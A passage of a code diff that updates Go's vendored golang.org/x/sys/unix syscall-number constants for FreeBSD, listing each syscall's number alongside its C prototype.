-+ SYS_NSTAT = 278 // { int nstat(char *path, struct nstat *ub); }
-+ SYS_NFSTAT = 279 // { int nfstat(int fd, struct nstat *sb); }
-+ SYS_NLSTAT = 280 // { int nlstat(char *path, struct nstat *ub); }
-+ SYS_PREADV = 289 // { ssize_t preadv(int fd, struct iovec *iovp, u_int iovcnt, off_t offset); }
-+ SYS_PWRITEV = 290 // { ssize_t pwritev(int fd, struct iovec *iovp, u_int iovcnt, off_t offset); }
-+ SYS_FHOPEN = 298 // { int fhopen(const struct fhandle *u_fhp, int flags); }
-+ SYS_FHSTAT = 299 // { int fhstat(const struct fhandle *u_fhp, struct stat *sb); }
-+ SYS_MODNEXT = 300 // { int modnext(int modid); }
-+ SYS_MODSTAT = 301 // { int modstat(int modid, struct module_stat *stat); }
-+ SYS_MODFNEXT = 302 // { int modfnext(int modid); }
-+ SYS_MODFIND = 303 // { int modfind(const char *name); }
-+ SYS_KLDLOAD = 304 // { int kldload(const char *file); }
-+ SYS_KLDUNLOAD = 305 // { int kldunload(int fileid); }
-+ SYS_KLDFIND = 306 // { int kldfind(const char *file); }
-+ SYS_KLDNEXT = 307 // { int kldnext(int fileid); }
-+ SYS_KLDSTAT = 308 // { int kldstat(int fileid, struct kld_file_stat* stat); }
-+ SYS_KLDFIRSTMOD = 309 // { int kldfirstmod(int fileid); }
-+ SYS_GETSID = 310 // { int getsid(pid_t pid); }
-+ SYS_SETRESUID = 311 // { int setresuid(uid_t ruid, uid_t euid, uid_t suid); }
-+ SYS_SETRESGID = 312 // { int setresgid(gid_t rgid, gid_t egid, gid_t sgid); }
-+ SYS_AIO_RETURN = 314 // { ssize_t aio_return(struct aiocb *aiocbp); }
-+ SYS_AIO_SUSPEND = 315 // { int aio_suspend( struct aiocb * const * aiocbp, int nent, const struct timespec *timeout); }
-+ SYS_AIO_CANCEL = 316 // { int aio_cancel(int fd, struct aiocb *aiocbp); }
-+ SYS_AIO_ERROR = 317 // { int aio_error(struct aiocb *aiocbp); }
-+ SYS_YIELD = 321 // { int yield(void); }
-+ SYS_MLOCKALL = 324 // { int mlockall(int how); }
-+ SYS_MUNLOCKALL = 325 // { int munlockall(void); }
-+ SYS___GETCWD = 326 // { int __getcwd(char *buf, u_int buflen); }
-+ SYS_SCHED_SETPARAM = 327 // { int sched_setparam (pid_t pid, const struct sched_param *param); }
-+ SYS_SCHED_GETPARAM = 328 // { int sched_getparam (pid_t pid, struct sched_param *param); }
-+ SYS_SCHED_SETSCHEDULER = 329 // { int sched_setscheduler (pid_t pid, int policy, const struct sched_param *param); }
-+ SYS_SCHED_GETSCHEDULER = 330 // { int sched_getscheduler (pid_t pid); }
-+ SYS_SCHED_YIELD = 331 // { int sched_yield (void); }
-+ SYS_SCHED_GET_PRIORITY_MAX = 332 // { int sched_get_priority_max (int policy); }
-+ SYS_SCHED_GET_PRIORITY_MIN = 333 // { int sched_get_priority_min (int policy); }
-+ SYS_SCHED_RR_GET_INTERVAL = 334 // { int sched_rr_get_interval (pid_t pid, struct timespec *interval); }
-+ SYS_UTRACE = 335 // { int utrace(const void *addr, size_t len); }
-+ SYS_KLDSYM = 337 // { int kldsym(int fileid, int cmd, void *data); }
-+ SYS_JAIL = 338 // { int jail(struct jail *jail); }
-+ SYS_SIGPROCMASK = 340 // { int sigprocmask(int how, const sigset_t *set, sigset_t *oset); }
-+ SYS_SIGSUSPEND = 341 // { int sigsuspend(const sigset_t *sigmask); }
-+ SYS_SIGPENDING = 343 // { int sigpending(sigset_t *set); }
-+ SYS_SIGTIMEDWAIT = 345 // { int sigtimedwait(const sigset_t *set, siginfo_t *info, const struct timespec *timeout); }
-+ SYS_SIGWAITINFO = 346 // { int sigwaitinfo(const sigset_t *set, siginfo_t *info); }
-+ SYS___ACL_GET_FILE = 347 // { int __acl_get_file(const char *path, acl_type_t type, struct acl *aclp); }
-+ SYS___ACL_SET_FILE = 348 // { int __acl_set_file(const char *path, acl_type_t type, struct acl *aclp); }
-+ SYS___ACL_GET_FD = 349 // { int __acl_get_fd(int filedes, acl_type_t type, struct acl *aclp); }
-+ SYS___ACL_SET_FD = 350 // { int __acl_set_fd(int filedes, acl_type_t type, struct acl *aclp); }
-+ SYS___ACL_DELETE_FILE = 351 // { int __acl_delete_file(const char *path, acl_type_t type); }
-+ SYS___ACL_DELETE_FD = 352 // { int __acl_delete_fd(int filedes, acl_type_t type); }
-+ SYS___ACL_ACLCHECK_FILE = 353 // { int __acl_aclcheck_file(const char *path, acl_type_t type, struct acl *aclp); }
-+ SYS___ACL_ACLCHECK_FD = 354 // { int __acl_aclcheck_fd(int filedes, acl_type_t type, struct acl *aclp); }
-+ SYS_EXTATTRCTL = 355 // { int extattrctl(const char *path, int cmd, const char *filename, int attrnamespace, const char *attrname); }
-+ SYS_EXTATTR_SET_FILE = 356 // { ssize_t extattr_set_file( const char *path, int attrnamespace, const char *attrname, void *data, size_t nbytes); }
-+ SYS_EXTATTR_GET_FILE = 357 // { ssize_t extattr_get_file( const char *path, int attrnamespace, const char *attrname, void *data, size_t nbytes); }
-+ SYS_EXTATTR_DELETE_FILE = 358 // { int extattr_delete_file(const char *path, int attrnamespace, const char *attrname); }
-+ SYS_AIO_WAITCOMPLETE = 359 // { ssize_t aio_waitcomplete( struct aiocb **aiocbp, struct timespec *timeout); }
-+ SYS_GETRESUID = 360 // { int getresuid(uid_t *ruid, uid_t *euid, uid_t *suid); }
-+ SYS_GETRESGID = 361 // { int getresgid(gid_t *rgid, gid_t *egid, gid_t *sgid); }
-+ SYS_KQUEUE = 362 // { int kqueue(void); }
-+ SYS_KEVENT = 363 // { int kevent(int fd, struct kevent *changelist, int nchanges, struct kevent *eventlist, int nevents, const struct timespec *timeout); }
-+ SYS_EXTATTR_SET_FD = 371 // { ssize_t extattr_set_fd(int fd, int attrnamespace, const char *attrname, void *data, size_t nbytes); }
-+ SYS_EXTATTR_GET_FD = 372 // { ssize_t extattr_get_fd(int fd, int attrnamespace, const char *attrname, void *data, size_t nbytes); }
-+ SYS_EXTATTR_DELETE_FD = 373 // { int extattr_delete_fd(int fd, int attrnamespace, const char *attrname); }
-+ SYS___SETUGID = 374 // { int __setugid(int flag); }
-+ SYS_EACCESS = 376 // { int eaccess(char *path, int amode); }
-+ SYS_NMOUNT = 378 // { int nmount(struct iovec *iovp, unsigned int iovcnt, int flags); }
-+ SYS___MAC_GET_PROC = 384 // { int __mac_get_proc(struct mac *mac_p); }
-+ SYS___MAC_SET_PROC = 385 // { int __mac_set_proc(struct mac *mac_p); }
-+ SYS___MAC_GET_FD = 386 // { int __mac_get_fd(int fd, struct mac *mac_p); }
-+ SYS___MAC_GET_FILE = 387 // { int __mac_get_file(const char *path_p, struct mac *mac_p); }
-+ SYS___MAC_SET_FD = 388 // { int __mac_set_fd(int fd, struct mac *mac_p); }
-+ SYS___MAC_SET_FILE = 389 // { int __mac_set_file(const char *path_p, struct mac *mac_p); }
-+ SYS_KENV = 390 // { int kenv(int what, const char *name, char *value, int len); }
-+ SYS_LCHFLAGS = 391 // { int lchflags(const char *path, u_long flags); }
-+ SYS_UUIDGEN = 392 // { int uuidgen(struct uuid *store, int count); }
-+ SYS_SENDFILE = 393 // { int sendfile(int fd, int s, off_t offset, size_t nbytes, struct sf_hdtr *hdtr, off_t *sbytes, int flags); }
-+ SYS_MAC_SYSCALL = 394 // { int mac_syscall(const char *policy, int call, void *arg); }
-+ SYS_GETFSSTAT = 395 // { int getfsstat(struct statfs *buf, long bufsize, int mode); }
-+ SYS_STATFS = 396 // { int statfs(char *path, struct statfs *buf); }
-+ SYS_FSTATFS = 397 // { int fstatfs(int fd, struct statfs *buf); }
-+ SYS_FHSTATFS = 398 // { int fhstatfs(const struct fhandle *u_fhp, struct statfs *buf); }
-+ SYS_KSEM_CLOSE = 400 // { int ksem_close(semid_t id); }
-+ SYS_KSEM_POST = 401 // { int ksem_post(semid_t id); }
-+ SYS_KSEM_WAIT = 402 // { int ksem_wait(semid_t id); }
-+ SYS_KSEM_TRYWAIT = 403 // { int ksem_trywait(semid_t id); }
-+ SYS_KSEM_INIT = 404 // { int ksem_init(semid_t *idp, unsigned int value); }
-+ SYS_KSEM_OPEN = 405 // { int ksem_open(semid_t *idp, const char *name, int oflag, mode_t mode, unsigned int value); }
-+ SYS_KSEM_UNLINK = 406 // { int ksem_unlink(const char *name); }
-+ SYS_KSEM_GETVALUE = 407 // { int ksem_getvalue(semid_t id, int *val); }
-+ SYS_KSEM_DESTROY = 408 // { int ksem_destroy(semid_t id); }
-+ SYS___MAC_GET_PID = 409 // { int __mac_get_pid(pid_t pid, struct mac *mac_p); }
-+ SYS___MAC_GET_LINK = 410 // { int __mac_get_link(const char *path_p, struct mac *mac_p); }
-+ SYS___MAC_SET_LINK = 411 // { int __mac_set_link(const char *path_p, struct mac *mac_p); }
-+ SYS_EXTATTR_SET_LINK = 412 // { ssize_t extattr_set_link( const char *path, int attrnamespace, const char *attrname, void *data, size_t nbytes); }
-+ SYS_EXTATTR_GET_LINK = 413 // { ssize_t extattr_get_link( const char *path, int attrnamespace, const char *attrname, void *data, size_t nbytes); }
-+ SYS_EXTATTR_DELETE_LINK = 414 // { int extattr_delete_link( const char *path, int attrnamespace, const char *attrname); }
-+ SYS___MAC_EXECVE = 415 // { int __mac_execve(char *fname, char **argv, char **envv, struct mac *mac_p); }
-+ SYS_SIGACTION = 416 // { int sigaction(int sig, const struct sigaction *act, struct sigaction *oact); }
-+ SYS_SIGRETURN = 417 // { int sigreturn( const struct __ucontext *sigcntxp); }
-+ SYS_GETCONTEXT = 421 // { int getcontext(struct __ucontext *ucp); }
-+ SYS_SETCONTEXT = 422 // { int setcontext( const struct __ucontext *ucp); }
-+ SYS_SWAPCONTEXT = 423 // { int swapcontext(struct __ucontext *oucp, const struct __ucontext *ucp); }
-+ SYS_SWAPOFF = 424 // { int swapoff(const char *name); }
-+ SYS___ACL_GET_LINK = 425 // { int __acl_get_link(const char *path, acl_type_t type, struct acl *aclp); }
-+ SYS___ACL_SET_LINK = 426 // { int __acl_set_link(const char *path, acl_type_t type, struct acl *aclp); }
-+ SYS___ACL_DELETE_LINK = 427 // { int __acl_delete_link(const char *path, acl_type_t type); }
-+ SYS___ACL_ACLCHECK_LINK = 428 // { int __acl_aclcheck_link(const char *path, acl_type_t type, struct acl *aclp); }
-+ SYS_SIGWAIT = 429 // { int sigwait(const sigset_t *set, int *sig); }
-+ SYS_THR_CREATE = 430 // { int thr_create(ucontext_t *ctx, long *id, int flags); }
-+ SYS_THR_EXIT = 431 // { void thr_exit(long *state); }
-+ SYS_THR_SELF = 432 // { int thr_self(long *id); }
-+ SYS_THR_KILL = 433 // { int thr_kill(long id, int sig); }
-+ SYS_JAIL_ATTACH = 436 // { int jail_attach(int jid); }
-+ SYS_EXTATTR_LIST_FD = 437 // { ssize_t extattr_list_fd(int fd, int attrnamespace, void *data, size_t nbytes); }
-+ SYS_EXTATTR_LIST_FILE = 438 // { ssize_t extattr_list_file( const char *path, int attrnamespace, void *data, size_t nbytes); }
-+ SYS_EXTATTR_LIST_LINK = 439 // { ssize_t extattr_list_link( const char *path, int attrnamespace, void *data, size_t nbytes); }
-+ SYS_KSEM_TIMEDWAIT = 441 // { int ksem_timedwait(semid_t id, const struct timespec *abstime); }
-+ SYS_THR_SUSPEND = 442 // { int thr_suspend( const struct timespec *timeout); }
-+ SYS_THR_WAKE = 443 // { int thr_wake(long id); }
-+ SYS_KLDUNLOADF = 444 // { int kldunloadf(int fileid, int flags); }
-+ SYS_AUDIT = 445 // { int audit(const void *record, u_int length); }
-+ SYS_AUDITON = 446 // { int auditon(int cmd, void *data, u_int length); }
-+ SYS_GETAUID = 447 // { int getauid(uid_t *auid); }
-+ SYS_SETAUID = 448 // { int setauid(uid_t *auid); }
-+ SYS_GETAUDIT = 449 // { int getaudit(struct auditinfo *auditinfo); }
-+ SYS_SETAUDIT = 450 // { int setaudit(struct auditinfo *auditinfo); }
-+ SYS_GETAUDIT_ADDR = 451 // { int getaudit_addr( struct auditinfo_addr *auditinfo_addr, u_int length); }
-+ SYS_SETAUDIT_ADDR = 452 // { int setaudit_addr( struct auditinfo_addr *auditinfo_addr, u_int length); }
-+ SYS_AUDITCTL = 453 // { int auditctl(char *path); }
-+ SYS__UMTX_OP = 454 // { int _umtx_op(void *obj, int op, u_long val, void *uaddr1, void *uaddr2); }
-+ SYS_THR_NEW = 455 // { int thr_new(struct thr_param *param, int param_size); }
-+ SYS_SIGQUEUE = 456 // { int sigqueue(pid_t pid, int signum, void *value); }
-+ SYS_KMQ_OPEN = 457 // { int kmq_open(const char *path, int flags, mode_t mode, const struct mq_attr *attr); }
-+ SYS_KMQ_SETATTR = 458 // { int kmq_setattr(int mqd, const struct mq_attr *attr, struct mq_attr *oattr); }
-+ SYS_KMQ_TIMEDRECEIVE = 459 // { int kmq_timedreceive(int mqd, char *msg_ptr, size_t msg_len, unsigned *msg_prio, const struct timespec *abs_timeout); }
-+ SYS_KMQ_TIMEDSEND = 460 // { int kmq_timedsend(int mqd, const char *msg_ptr, size_t msg_len,unsigned msg_prio, const struct timespec *abs_timeout);}
-+ SYS_KMQ_NOTIFY = 461 // { int kmq_notify(int mqd, const struct sigevent *sigev); }
-+ SYS_KMQ_UNLINK = 462 // { int kmq_unlink(const char *path); }
-+ SYS_ABORT2 = 463 // { int abort2(const char *why, int nargs, void **args); }
-+ SYS_THR_SET_NAME = 464 // { int thr_set_name(long id, const char *name); }
-+ SYS_AIO_FSYNC = 465 // { int aio_fsync(int op, struct aiocb *aiocbp); }
-+ SYS_RTPRIO_THREAD = 466 // { int rtprio_thread(int function, lwpid_t lwpid, struct rtprio *rtp); }
-+ SYS_SCTP_PEELOFF = 471 // { int sctp_peeloff(int sd, uint32_t name); }
-+ SYS_SCTP_GENERIC_SENDMSG = 472 // { int sctp_generic_sendmsg(int sd, caddr_t msg, int mlen, caddr_t to, __socklen_t tolen, struct sctp_sndrcvinfo *sinfo, int flags); }
-+ SYS_SCTP_GENERIC_SENDMSG_IOV = 473 // { int sctp_generic_sendmsg_iov(int sd, struct iovec *iov, int iovlen, caddr_t to, __socklen_t tolen, struct sctp_sndrcvinfo *sinfo, int flags); }
-+ SYS_SCTP_GENERIC_RECVMSG = 474 // { int sctp_generic_recvmsg(int sd, struct iovec *iov, int iovlen, struct sockaddr * from, __socklen_t *fromlenaddr, struct sctp_sndrcvinfo *sinfo, int *msg_flags); }
-+ SYS_PREAD = 475 // { ssize_t pread(int fd, void *buf, size_t nbyte, off_t offset); }
-+ SYS_PWRITE = 476 // { ssize_t pwrite(int fd, const void *buf, size_t nbyte, off_t offset); }
-+ SYS_MMAP = 477 // { caddr_t mmap(caddr_t addr, size_t len, int prot, int flags, int fd, off_t pos); }
-+ SYS_LSEEK = 478 // { off_t lseek(int fd, off_t offset, int whence); }
-+ SYS_TRUNCATE = 479 // { int truncate(char *path, off_t length); }
-+ SYS_FTRUNCATE = 480 // { int ftruncate(int fd, off_t length); }
-+ SYS_THR_KILL2 = 481 // { int thr_kill2(pid_t pid, long id, int sig); }
-+ SYS_SHM_OPEN = 482 // { int shm_open(const char *path, int flags, mode_t mode); }
-+ SYS_SHM_UNLINK = 483 // { int shm_unlink(const char *path); }
-+ SYS_CPUSET = 484 // { int cpuset(cpusetid_t *setid); }
-+ SYS_CPUSET_SETID = 485 // { int cpuset_setid(cpuwhich_t which, id_t id, cpusetid_t setid); }
-+ SYS_CPUSET_GETID = 486 // { int cpuset_getid(cpulevel_t level, cpuwhich_t which, id_t id, cpusetid_t *setid); }
-+ SYS_CPUSET_GETAFFINITY = 487 // { int cpuset_getaffinity(cpulevel_t level, cpuwhich_t which, id_t id, size_t cpusetsize, cpuset_t *mask); }
-+ SYS_CPUSET_SETAFFINITY = 488 // { int cpuset_setaffinity(cpulevel_t level, cpuwhich_t which, id_t id, size_t cpusetsize, const cpuset_t *mask); }
-+ SYS_FACCESSAT = 489 // { int faccessat(int fd, char *path, int amode, int flag); }
-+ SYS_FCHMODAT = 490 // { int fchmodat(int fd, char *path, mode_t mode, int flag); }
-+ SYS_FCHOWNAT = 491 // { int fchownat(int fd, char *path, uid_t uid, gid_t gid, int flag); }
-+ SYS_FEXECVE = 492 // { int fexecve(int fd, char **argv, char **envv); }
-+ SYS_FSTATAT = 493 // { int fstatat(int fd, char *path, struct stat *buf, int flag); }
-+ SYS_FUTIMESAT = 494 // { int futimesat(int fd, char *path, struct timeval *times); }
-+ SYS_LINKAT = 495 // { int linkat(int fd1, char *path1, int fd2, char *path2, int flag); }
-+ SYS_MKDIRAT = 496 // { int mkdirat(int fd, char *path, mode_t mode); }
-+ SYS_MKFIFOAT = 497 // { int mkfifoat(int fd, char *path, mode_t mode); }
-+ SYS_MKNODAT = 498 // { int mknodat(int fd, char *path, mode_t mode, dev_t dev); }
-+ SYS_OPENAT = 499 // { int openat(int fd, char *path, int flag, mode_t mode); }
-+ SYS_READLINKAT = 500 // { int readlinkat(int fd, char *path, char *buf, size_t bufsize); }
-+ SYS_RENAMEAT = 501 // { int renameat(int oldfd, char *old, int newfd, char *new); }
-+ SYS_SYMLINKAT = 502 // { int symlinkat(char *path1, int fd, char *path2); }
-+ SYS_UNLINKAT = 503 // { int unlinkat(int fd, char *path, int flag); }
-+ SYS_POSIX_OPENPT = 504 // { int posix_openpt(int flags); }
-+ SYS_GSSD_SYSCALL = 505 // { int gssd_syscall(char *path); }
-+ SYS_JAIL_GET = 506 // { int jail_get(struct iovec *iovp, unsigned int iovcnt, int flags); }
-+ SYS_JAIL_SET = 507 // { int jail_set(struct iovec *iovp, unsigned int iovcnt, int flags); }
-+ SYS_JAIL_REMOVE = 508 // { int jail_remove(int jid); }
-+ SYS_CLOSEFROM = 509 // { int closefrom(int lowfd); }
-+ SYS___SEMCTL = 510 // { int __semctl(int semid, int semnum, int cmd, union semun *arg); }
-+ SYS_MSGCTL = 511 // { int msgctl(int msqid, int cmd, struct msqid_ds *buf); }
-+ SYS_SHMCTL = 512 // { int shmctl(int shmid, int cmd, struct shmid_ds *buf); }
-+ SYS_LPATHCONF = 513 // { int lpathconf(char *path, int name); }
-+ SYS___CAP_RIGHTS_GET = 515 // { int __cap_rights_get(int version, int fd, cap_rights_t *rightsp); }
-+ SYS_CAP_ENTER = 516 // { int cap_enter(void); }
-+ SYS_CAP_GETMODE = 517 // { int cap_getmode(u_int *modep); }
-+ SYS_PDFORK = 518 // { int pdfork(int *fdp, int flags); }
-+ SYS_PDKILL = 519 // { int pdkill(int fd, int signum); }
-+ SYS_PDGETPID = 520 // { int pdgetpid(int fd, pid_t *pidp); }
-+ SYS_PSELECT = 522 // { int pselect(int nd, fd_set *in, fd_set *ou, fd_set *ex, const struct timespec *ts, const sigset_t *sm); }
-+ SYS_GETLOGINCLASS = 523 // { int getloginclass(char *namebuf, size_t namelen); }
-+ SYS_SETLOGINCLASS = 524 // { int setloginclass(const char *namebuf); }
-+ SYS_RCTL_GET_RACCT = 525 // { int rctl_get_racct(const void *inbufp, size_t inbuflen, void *outbufp, size_t outbuflen); }
-+ SYS_RCTL_GET_RULES = 526 // { int rctl_get_rules(const void *inbufp, size_t inbuflen, void *outbufp, size_t outbuflen); }
-+ SYS_RCTL_GET_LIMITS = 527 // { int rctl_get_limits(const void *inbufp, size_t inbuflen, void *outbufp, size_t outbuflen); }
-+ SYS_RCTL_ADD_RULE = 528 // { int rctl_add_rule(const void *inbufp, size_t inbuflen, void *outbufp, size_t outbuflen); }
-+ SYS_RCTL_REMOVE_RULE = 529 // { int rctl_remove_rule(const void *inbufp, size_t inbuflen, void *outbufp, size_t outbuflen); }
-+ SYS_POSIX_FALLOCATE = 530 // { int posix_fallocate(int fd, off_t offset, off_t len); }
-+ SYS_POSIX_FADVISE = 531 // { int posix_fadvise(int fd, off_t offset, off_t len, int advice); }
-+ SYS_WAIT6 = 532 // { int wait6(idtype_t idtype, id_t id, int *status, int options, struct __wrusage *wrusage, siginfo_t *info); }
-+ SYS_CAP_RIGHTS_LIMIT = 533 // { int cap_rights_limit(int fd, cap_rights_t *rightsp); }
-+ SYS_CAP_IOCTLS_LIMIT = 534 // { int cap_ioctls_limit(int fd, const u_long *cmds, size_t ncmds); }
-+ SYS_CAP_IOCTLS_GET = 535 // { ssize_t cap_ioctls_get(int fd, u_long *cmds, size_t maxcmds); }
-+ SYS_CAP_FCNTLS_LIMIT = 536 // { int cap_fcntls_limit(int fd, uint32_t fcntlrights); }
-+ SYS_CAP_FCNTLS_GET = 537 // { int cap_fcntls_get(int fd, uint32_t *fcntlrightsp); }
-+ SYS_BINDAT = 538 // { int bindat(int fd, int s, caddr_t name, int namelen); }
-+ SYS_CONNECTAT = 539 // { int connectat(int fd, int s, caddr_t name, int namelen); }
-+ SYS_CHFLAGSAT = 540 // { int chflagsat(int fd, const char *path, u_long flags, int atflag); }
-+ SYS_ACCEPT4 = 541 // { int accept4(int s, struct sockaddr * __restrict name, __socklen_t * __restrict anamelen, int flags); }
-+ SYS_PIPE2 = 542 // { int pipe2(int *fildes, int flags); }
-+ SYS_AIO_MLOCK = 543 // { int aio_mlock(struct aiocb *aiocbp); }
-+ SYS_PROCCTL = 544 // { int procctl(idtype_t idtype, id_t id, int com, void *data); }
-+ SYS_PPOLL = 545 // { int ppoll(struct pollfd *fds, u_int nfds, const struct timespec *ts, const sigset_t *set); }
-+ SYS_FUTIMENS = 546 // { int futimens(int fd, struct timespec *times); }
-+ SYS_UTIMENSAT = 547 // { int utimensat(int fd, char *path, struct timespec *times, int flag); }
-+ SYS_NUMA_GETAFFINITY = 548 // { int numa_getaffinity(cpuwhich_t which, id_t id, struct vm_domain_policy_entry *policy); }
-+ SYS_NUMA_SETAFFINITY = 549 // { int numa_setaffinity(cpuwhich_t which, id_t id, const struct vm_domain_policy_entry *policy); }
-+ SYS_FDATASYNC = 550 // { int fdatasync(int fd); }
- )
-diff --git a/vendor/golang.org/x/sys/unix/zsysnum_freebsd_arm.go b/vendor/golang.org/x/sys/unix/zsysnum_freebsd_arm.go
-index 44883141..4a6dfd4a 100644
---- a/vendor/golang.org/x/sys/unix/zsysnum_freebsd_arm.go
-+++ b/vendor/golang.org/x/sys/unix/zsysnum_freebsd_arm.go
-@@ -1,4 +1,4 @@
--// mksysnum_freebsd.pl
-+// go run mksysnum.go https://svn.freebsd.org/base/stable/11/sys/kern/syscalls.master
- // Code generated by the command above; see README.md. DO NOT EDIT.
-
- // +build arm,freebsd
-@@ -7,347 +7,390 @@ package unix
-
- const (
- // SYS_NOSYS = 0; // { int nosys(void); } syscall nosys_args int
-- SYS_EXIT = 1 // { void sys_exit(int rval); } exit \
-- SYS_FORK = 2 // { int fork(void); }
-- SYS_READ = 3 // { ssize_t read(int fd, void *buf, \
-- SYS_WRITE = 4 // { ssize_t write(int fd, const void *buf, \
-- SYS_OPEN = 5 // { int open(char *path, int flags, int mode); }
-- SYS_CLOSE = 6 // { int close(int fd); }
-- SYS_WAIT4 = 7 // { int wait4(int pid, int *status, \
-- SYS_LINK = 9 // { int link(char *path, char *link); }
-- SYS_UNLINK = 10 // { int unlink(char *path); }
-- SYS_CHDIR = 12 // { int chdir(char *path); }
-- SYS_FCHDIR = 13 // { int fchdir(int fd); }
-- SYS_MKNOD = 14 // { int mknod(char *path, int mode, int dev); }
-- SYS_CHMOD = 15 // { int chmod(char *path, int mode); }
-- SYS_CHOWN = 16 // { int chown(char *path, int uid, int gid); }
-- SYS_OBREAK = 17 // { int obreak(char *nsize); } break \
-- SYS_GETPID = 20 // { pid_t getpid(void); }
-- SYS_MOUNT = 21 // { int mount(char *type, char *path, \
-- SYS_UNMOUNT = 22 // { int unmount(char *path, int flags); }
-- SYS_SETUID = 23 // { int setuid(uid_t uid); }
-- SYS_GETUID = 24 // { uid_t getuid(void); }
-- SYS_GETEUID = 25 // { uid_t geteuid(void); }
-- SYS_PTRACE = 26 // { int ptrace(int req, pid_t pid, \
-- SYS_RECVMSG = 27 // { int recvmsg(int s, struct msghdr *msg, \
-- SYS_SENDMSG = 28 // { int sendmsg(int s, struct msghdr *msg, \
-- SYS_RECVFROM = 29 // { int recvfrom(int s, caddr_t buf, \
-- SYS_ACCEPT = 30 // { int accept(int s, \
-- SYS_GETPEERNAME = 31 // { int getpeername(int fdes, \
-- SYS_GETSOCKNAME = 32 // { int getsockname(int fdes, \
-- SYS_ACCESS = 33 // { int access(char *path, int amode); }
-- SYS_CHFLAGS = 34 // { int chflags(const char *path, u_long flags); }
-- SYS_FCHFLAGS = 35 // { int fchflags(int fd, u_long flags); }
-- SYS_SYNC = 36 // { int sync(void); }
-- SYS_KILL = 37 // { int kill(int pid, int signum); }
-- SYS_GETPPID = 39 // { pid_t getppid(void); }
-- SYS_DUP = 41 // { int dup(u_int fd); }
-- SYS_PIPE = 42 // { int pipe(void); }
-- SYS_GETEGID = 43 // { gid_t getegid(void); }
-- SYS_PROFIL = 44 // { int profil(caddr_t samples, size_t size, \
-- SYS_KTRACE = 45 // { int ktrace(const char *fname, int ops, \
-- SYS_GETGID = 47 // { gid_t getgid(void); }
-- SYS_GETLOGIN = 49 // { int getlogin(char *namebuf, u_int \
-- SYS_SETLOGIN = 50 // { int setlogin(char *namebuf); }
-- SYS_ACCT = 51 // { int acct(char *path); }
-- SYS_SIGALTSTACK = 53 // { int sigaltstack(stack_t *ss, \
-- SYS_IOCTL = 54 // { int ioctl(int fd, u_long com, \
-- SYS_REBOOT = 55 // { int reboot(int opt); }
-- SYS_REVOKE = 56 // { int revoke(char *path); }
-- SYS_SYMLINK = 57 // { int symlink(char *path, char *link); }
-- SYS_READLINK = 58 // { ssize_t readlink(char *path, char *buf, \
-- SYS_EXECVE = 59 // { int execve(char *fname, char **argv, \
-- SYS_UMASK = 60 // { int umask(int newmask); } umask umask_args \
-- SYS_CHROOT = 61 // { int chroot(char *path); }
-- SYS_MSYNC = 65 // { int msync(void *addr, size_t len, \
-- SYS_VFORK = 66 // { int vfork(void); }
-- SYS_SBRK = 69 // { int sbrk(int incr); }
-- SYS_SSTK = 70 // { int sstk(int incr); }
-- SYS_OVADVISE = 72 // { int ovadvise(int anom); } vadvise \
-- SYS_MUNMAP = 73 // { int munmap(void *addr, size_t len); }
-- SYS_MPROTECT = 74 // { int mprotect(const void *addr, size_t len, \
-- SYS_MADVISE = 75 // { int madvise(void *addr, size_t len, \
-- SYS_MINCORE = 78 // { int mincore(const void *addr, size_t len, \
-- SYS_GETGROUPS = 79 // { int getgroups(u_int gidsetsize, \
-- SYS_SETGROUPS = 80 // { int setgroups(u_int gidsetsize, \
-- SYS_GETPGRP = 81 // { int getpgrp(void); }
-- SYS_SETPGID = 82 // { int setpgid(int pid, int pgid); }
-- SYS_SETITIMER = 83 // { int setitimer(u_int which, struct \
-- SYS_SWAPON = 85 // { int swapon(char *name); }
-- SYS_GETITIMER = 86 // { int getitimer(u_int which, \
-- SYS_GETDTABLESIZE = 89 // { int getdtablesize(void); }
-- SYS_DUP2 = 90 // { int dup2(u_int from, u_int to); }
-- SYS_FCNTL = 92 // { int fcntl(int fd, int cmd, long arg); }
-- SYS_SELECT = 93 // { int select(int nd, fd_set *in, fd_set *ou, \
-- SYS_FSYNC = 95 // { int fsync(int fd); }
-- SYS_SETPRIORITY = 96 // { int setpriority(int which, int who, \
-- SYS_SOCKET = 97 // { int socket(int domain, int type, \
-- SYS_CONNECT = 98 // { int connect(int s, caddr_t name, \
-- SYS_GETPRIORITY = 100 // { int getpriority(int which, int who); }
-- SYS_BIND = 104 // { int bind(int s, caddr_t name, \
-- SYS_SETSOCKOPT = 105 // { int setsockopt(int s, int level, int name, \
-- SYS_LISTEN = 106 // { int listen(int s, int backlog); }
-- SYS_GETTIMEOFDAY = 116 // { int gettimeofday(struct timeval *tp, \
-- SYS_GETRUSAGE = 117 // { int getrusage(int who, \
-- SYS_GETSOCKOPT = 118 // { int getsockopt(int s, int level, int name, \
-- SYS_READV = 120 // { int readv(int fd, struct iovec *iovp, \
-- SYS_WRITEV = 121 // { int writev(int fd, struct iovec *iovp, \
-- SYS_SETTIMEOFDAY = 122 // { int settimeofday(struct timeval *tv, \
-- SYS_FCHOWN = 123 // { int fchown(int fd, int uid, int gid); }
-- SYS_FCHMOD = 124 // { int fchmod(int fd, int mode); }
-- SYS_SETREUID = 126 // { int setreuid(int ruid, int euid); }
-- SYS_SETREGID = 127 // { int setregid(int rgid, int egid); }
-- SYS_RENAME = 128 // { int rename(char *from, char *to); }
-- SYS_FLOCK = 131 // { int flock(int fd, int how); }
-- SYS_MKFIFO = 132 // { int mkfifo(char *path, int mode); }
-- SYS_SENDTO = 133 // { int sendto(int s, caddr_t buf, size_t len, \
-- SYS_SHUTDOWN = 134 // { int shutdown(int s, int how); }
-- SYS_SOCKETPAIR = 135 // { int socketpair(int domain, int type, \
-- SYS_MKDIR = 136 // { int mkdir(char *path, int mode); }
-- SYS_RMDIR = 137 // { int rmdir(char *path); }
-- SYS_UTIMES = 138 // { int utimes(char *path, \
-- SYS_ADJTIME = 140 // { int adjtime(struct timeval *delta, \
-- SYS_SETSID = 147 // { int setsid(void); }
-- SYS_QUOTACTL = 148 // { int quotactl(char *path, int cmd, int uid, \
-- SYS_LGETFH = 160 // { int lgetfh(char *fname, \
-- SYS_GETFH = 161 // { int getfh(char *fname, \
-- SYS_SYSARCH = 165 // { int sysarch(int op, char *parms); }
-- SYS_RTPRIO = 166 // { int rtprio(int function, pid_t pid, \
-- SYS_FREEBSD6_PREAD = 173 // { ssize_t freebsd6_pread(int fd, void *buf, \
-- SYS_FREEBSD6_PWRITE = 174 // { ssize_t freebsd6_pwrite(int fd, \
-- SYS_SETFIB = 175 // { int setfib(int fibnum); }
